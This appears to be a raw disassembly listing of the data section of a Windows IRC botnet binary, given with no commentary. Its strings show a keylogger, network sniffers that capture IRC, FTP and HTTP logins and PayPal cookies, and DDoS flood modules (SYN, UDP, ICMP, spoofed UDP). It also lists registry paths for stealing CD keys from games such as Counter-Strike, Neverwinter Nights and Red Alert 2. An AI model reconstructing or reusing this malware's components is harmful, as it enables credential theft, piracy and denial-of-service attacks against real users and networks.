		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
dword_434E64	dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0 ; DATA	XREF: Themida_:00560B86o
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
dword_435238	dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_43551C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC2o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Co
		align 4
asc_43554C:				; DATA XREF: ___:00411C40o
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435E10
		dd offset off_435E0C
		dd offset off_435E08
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		dd 75617E3Ah, 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:004355A4o
		align 4
off_435E08	dd offset word_505446	; DATA XREF: ___:004355A0o
off_435E0C	dd offset dword_435238+11h ; DATA XREF:	___:0043559Co
off_435E10	dd offset word_544F42	; DATA XREF: ___:00435598o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412361+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412361+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412361+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412361+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412361+B7o
aLogin_0	db ':!Login',0          ; DATA XREF: sub_412361+A6o
aLogin_1	db ':!login',0          ; DATA XREF: sub_412361+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412361+84o
a366		db '366 ',0             ; DATA XREF: sub_412361+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412361:loc_4123C3o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412361+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412361+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412361+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412361+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412478+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412478+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412478:loc_4124B8o
					; sub_4124EE+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412478+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412478+5o
		align 4
aPass_1		db 'PASS ',0            ; DATA XREF: sub_4124EE+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124EE+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124EE:loc_41253Fo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124EE+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124EE+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412575+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412575+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412575+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412575:loc_4125B5o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412575+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412575+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FC+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FC:loc_41263Co
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FC+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FC+5o
		align 4
unk_436084	db  2Dh	; -		; DATA XREF: sub_412661+3ECo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360BC	db  2Dh	; -		; DATA XREF: sub_412661+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4360F4	db  2Dh	; -		; DATA XREF: sub_412661+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436128	db  2Dh	; -		; DATA XREF: sub_412661+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_43615C	db  2Dh	; -		; DATA XREF: sub_412661+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_436190	db  2Dh	; -		; DATA XREF: sub_412661+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_4361C0	db  2Dh	; -		; DATA XREF: sub_412661+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_436214	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B09+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_43643C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386C+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43682C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415135+35o
dword_436840	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415135+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AD+60o
		align 4
dword_436878	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524D:loc_415282o
dword_43688C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524D+20o
dword_4368A0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:0041536Ao
		dd 6574656Ch, 0
		dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BD+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F8+23o
					; sub_4157F1+26o
		align 4
		dd 80000001h
off_4368EC	dd offset aSoftwareValveC ; DATA XREF: sub_415A30+Cr
					; sub_415A30+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_4368F8	dd 2 dup(0)		; DATA XREF: sub_415A30+26o
		dd 80000001h, 437A7Ch, 437A70h,	437A60h, 2 dup(0)
		dd 80000001h, 437A40h, 437A3Ch,	437A28h, 2 dup(0)
		dd 80000001h, 437A04h, 437A3Ch,	4379F8h, 2 dup(0)
		dd 80000001h, 4379D4h, 4379CCh,	4379B8h, 2 dup(0)
		dd 80000001h, 4379A4h, 437994h,	437978h, 2 dup(0)
		dd 80000001h, 437934h, 437ABCh,	437920h, 2 dup(0)
		dd 80000002h, 4378F4h, 4378E8h,	4378C8h, 2 dup(0)
		dd 80000002h, 437894h, 437ABCh,	43787Ch, 2 dup(0)
		dd 80000002h, 437848h, 437ABCh,	437830h, 2 dup(0)
		dd 80000002h, 437818h, 437ABCh,	437800h, 2 dup(0)
		dd 80000002h, 4377C4h, 43D808h,	4377B4h, 2 dup(0)
		dd 80000002h, 43777Ch, 43D808h,	437768h, 2 dup(0)
		dd 80000002h, 43771Ch, 43D808h,	4376FCh, 2 dup(0)
		dd 80000002h, 4376ACh, 43D808h,	437680h, 2 dup(0)
		dd 80000002h, 437644h, 43D808h,	437630h, 2 dup(0)
		dd 80000002h, 4375F8h, 43D808h,	4375E8h, 2 dup(0)
		dd 80000002h, 437598h, 43D808h,	43756Ch, 2 dup(0)
		dd 80000002h, 43752Ch, 43D808h,	437510h, 2 dup(0)
		dd 80000002h, 4374E0h, 43D808h,	4374C0h, 2 dup(0)
		dd 80000002h, 437484h, 43D808h,	437470h, 2 dup(0)
		dd 80000002h, 437428h, 43D808h,	437408h, 2 dup(0)
		dd 80000002h, 4373B4h, 43D808h,	437384h, 2 dup(0)
		dd 80000002h, 437334h, 43D808h,	437308h, 2 dup(0)
		dd 80000002h, 4372C8h, 4372C0h,	4372A0h, 2 dup(0)
		dd 80000002h, 43725Ch, 43D808h,	437240h, 2 dup(0)
		dd 80000002h, 4371F4h, 43D808h,	4371D0h, 2 dup(0)
		dd 80000002h, 43719Ch, 43D808h,	437190h, 2 dup(0)
		dd 80000002h, 43715Ch, 43D808h,	437150h, 2 dup(0)
		dd 80000002h, 43711Ch, 43D808h,	437110h, 2 dup(0)
		dd 80000002h, 4370DCh, 43D808h,	4370D0h, 2 dup(0)
		dd 80000002h, 437094h, 43D808h,	437080h, 2 dup(0)
		dd 80000002h, 437044h, 43D808h,	437030h, 2 dup(0)
		dd 80000002h, 437000h, 437ABCh,	436FE4h, 2 dup(0)
		dd 80000002h, 436FC4h, 436FBCh,	436F98h, 2 dup(0)
		dd 80000002h, 436F7Ch, 436FBCh,	436F5Ch, 2 dup(0)
		dd 80000002h, 436F3Ch, 436FBCh,	436F18h, 2 dup(0)
		dd 80000002h, 436F00h, 436FBCh,	436EFCh, 2 dup(0)
		dd 80000002h, 436EE0h, 436ED0h,	436EC8h, 2 dup(0)
		dd 80000002h, 436E94h, 42C910h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E40h, 436E34h,	436E0Ch, 436DFCh, 436DE8h
		dd 80000002h, 436DC4h, 436DB8h,	436DA4h, 436D94h, 436D8Ch
		dd 80000002h, 436DC4h, 436DB8h,	436D60h, 436D94h, 436D58h
		dd 80000002h, 436DC4h, 436DB8h,	436D28h, 436D94h, 436D20h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
